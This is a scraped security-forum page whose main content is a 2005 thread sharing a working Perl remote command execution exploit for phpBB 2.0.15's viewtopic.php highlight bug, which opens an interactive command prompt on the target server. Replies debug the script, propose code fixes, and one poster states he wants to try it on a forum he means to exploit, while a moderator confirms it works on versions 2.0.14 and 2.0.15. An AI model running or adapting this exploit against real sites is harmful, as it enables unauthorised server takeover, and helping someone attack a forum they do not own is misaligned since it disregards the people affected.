Waraxe IT Security Portal
Login or Register
September 22, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 289
Members: 0
Total: 289
Full disclosure
[0day-rubbish] Royal Server 5.04.50529.0 Local privilege escalation to LocalSystem on the execution path without credential override (7.2)
[0day-rubbish] core-admin 1.0.164 (build 16468) Systemic shell command injection via ineffective quote escaping (8.8)
[0day-rubbish] OP5 Monitor 9.20 Command injection surviving the CVE-2025-34115 patch (OPT-IN fix ineffective) (8.8)
[0day-rubbish] QuantaStor 6.8.3.018 Command injection in the alert-mail command via the smtpPassword field (8.8)
[0day-rubbish] SmarterMail 100.0.9693 (Build 9693) Antivirus command-line configuration executing as NT AUTHORITY\SYSTEM (7.2)
[0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded credentials leading to OS command execution (9.8)
[0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading to JNDI remote class loading (9.8)
[0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)
**Subject:** CVE-2026-2035703: Tozed ZLT X300 5G CPE — Unauthenticated Remote Root Code Execution via TR-069 Command Injection (CVSS 9.8)
CVE-2026-52307: Stored XSS in 1CMS v5.6
HP Easy Start for macOS: CVE-2026-12554 / CVE-2026-12555 /CVE-2026-12556
Next.js 16.4.0-canary.13 Image Optimizer DNS Rebinding TOCTOU SSRF Still Exists
O-CMS 1.0.0 Authenticated OS Command Injection viaai_cli_script
Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion
Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> phpBB 2.0.15 -re-bug in viewtopic.php
Post new topicReply to topic View previous topic :: View next topic
phpBB 2.0.15 -re-bug in viewtopic.php
PostPosted: Thu Jun 30, 2005 8:42 am Reply with quote
zain
Beginner
Beginner
Joined: Apr 18, 2005
Posts: 3




New exploit for previously discovered highlight bug...


Code:

#!/usr/bin/perl
# Wed Jun 29 19:08:04 CEST 2005 dab@digitalsec.net
#
# phpBB 2.0.15 -re-bug in viewtopic.php


# The complete Open Source Development with CVS: GNU General Public License
# Book on using CVS effectively <--------- cvs, is also GPL
# or http://www.google.es/search?q=programming+howto
#
# BLINK! BLINK! BLINK! *** BRUTEFORCE CAPABILITIES *** BLINK! BLINK! BLINK!
#
#
# Example: ./phpbb2_0_15.pl http://www.server.com/viewtopic.php?t=1
# You can start typing commands.
# Tested in BSD. Theo.. it works!
#
# !dSR: que todos los hackers digan YO!!
#
#


use strict;
use IO::Socket;

unless ($ARGV[0]) { print "$0 <viewtopic url>\n"; exit(1); }

$ARGV[0] =~ m!http://(.*?)/(.*?t=\d+)!;
my ($server, $port) = split (/:/,$1);
$port = 80 unless defined($port);
$server = $1 unless defined($server);
my ($url, $command) = $2;

print "$server - $port - $url\n";

while () {
print "phpBB2.0.15> ";
while(<STDIN>) {
$command=$_;
chomp($command);
last;
}
&send($command);
}

sub send {
my $ok = 0;
my $cmd = "echo \"#PHPBBEXPLOIT#\";".$_[0].";echo \"#PHPBBEXPLOIT#\"";
my $string = "GET /$url&highlight='.system(getenv(HTTP_PHP)).' HTTP/1.1\n".
"Host: $server\nPHP: $cmd\n\n\n\n";
my $socket = IO::Socket::INET->new(PeerAddr => $server,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "can't connect to: $server : $@\n";
print $socket $string;
while(<$socket>) {
if (/#PHPBBEXPLOIT#/) {
close($socket) and last if $ok eq 2;
$ok++;
next;
}
print if $ok eq "1";
}
}
exit 0;


Can anyone get this to work? I ran it, and it gives me a phpBB2.0.15> prompt, but no matter what command I try it returns nothing.
View user's profile Send private message
PostPosted: Thu Jun 30, 2005 8:48 am Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




Are you using BSD?

Its says:
Quote:
# Tested in BSD. Theo.. it works!
Question

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Thu Jun 30, 2005 1:17 pm Reply with quote
WaterBird
Active user
Active user
Joined: May 16, 2005
Posts: 37




Quote:
Can anyone get this to work? I ran it, and it gives me a phpBB2.0.15> prompt, but no matter what command I try it returns nothing.



Same here :/
View user's profile Send private message
PostPosted: Thu Jun 30, 2005 1:21 pm Reply with quote
subzero
Valuable expert
Valuable expert
Joined: Mar 16, 2005
Posts: 42




common shaitan.. its just a little fix.. needed

try to delete # in \#PHPBBEXPLOIT#\ and /#PHPBBEXPLOIT#/ see what u get Crying or Very sad
View user's profile Send private message Visit poster's website
PostPosted: Thu Jun 30, 2005 1:40 pm Reply with quote
WaterBird
Active user
Active user
Joined: May 16, 2005
Posts: 37




emmm i get

Code:


Bareword found where operator expected at ./test line 48, near ""echo /"PHPBBEXPLOIT"
(Missing operator before PHPBBEXPLOIT?)
Bareword found where operator expected at ./test line 48, near "";echo /"PHPBBEXPLOIT"
(Missing operator before PHPBBEXPLOIT?)
syntax error at ./test line 48, near ""echo /"PHPBBEXPLOIT"
Execution of ./test aborted due to compilation errors.

View user's profile Send private message
PostPosted: Thu Jun 30, 2005 1:49 pm Reply with quote
subzero
Valuable expert
Valuable expert
Joined: Mar 16, 2005
Posts: 42




Code:
my $cmd = "echo \"#PHPBBEXPLOIT#\";".$_[0].";echo \"#PHPBBEXPLOIT#\"";


to
Code:
my $cmd = "echo \"PHPBBEXPLOIT\";".$_[0].";echo \"PHPBBEXPLOIT\"";


and
Code:
if (/#PHPBBEXPLOIT#/) {


to
Code:
if (/PHPBBEXPLOIT/) {


Crying or Very sad
View user's profile Send private message Visit poster's website
PostPosted: Thu Jun 30, 2005 1:53 pm Reply with quote
WaterBird
Active user
Active user
Joined: May 16, 2005
Posts: 37




it's like the same before fixes

Code:
user@site:~$ ./test http://site.com/forum/viewtopic.php?t=1
site.com - 80 - forum/viewtopic.php?t=1
phpBB2.0.15>


And stuck :/
View user's profile Send private message
PostPosted: Thu Jun 30, 2005 1:56 pm Reply with quote
subzero
Valuable expert
Valuable expert
Joined: Mar 16, 2005
Posts: 42




http://site.com

exist or not ?? of course not working
View user's profile Send private message Visit poster's website
PostPosted: Thu Jun 30, 2005 2:01 pm Reply with quote
WaterBird
Active user
Active user
Joined: May 16, 2005
Posts: 37




no just have changetd the url some forum that i wanna try to exploit
View user's profile Send private message
PostPosted: Thu Jun 30, 2005 5:24 pm Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




I dont actually like Perl..... Php is my replacement and Im still learning my C and C++ so CGIs arnt all that popular with me yet. But Perl will never happen for me.

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Thu Jun 30, 2005 5:57 pm Reply with quote
diaga
Regular user
Regular user
Joined: Jun 27, 2005
Posts: 22




-bash-2.05b$ ./asdf.pl http://xxx.xxx.xxx.xxx/board
: bad interpreter: No such file or directory


LINUX: men not add url
View user's profile Send private message
PostPosted: Fri Jul 01, 2005 1:55 am Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




this code original in perl work for 2.0.14 and 2.0.15 work nice

not work: if server have disable functions > exec,system,passthru,shell_exec or safe mode enabled
View user's profile Send private message Visit poster's website
phpBB 2.0.15 -re-bug in viewtopic.php
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.068 Seconds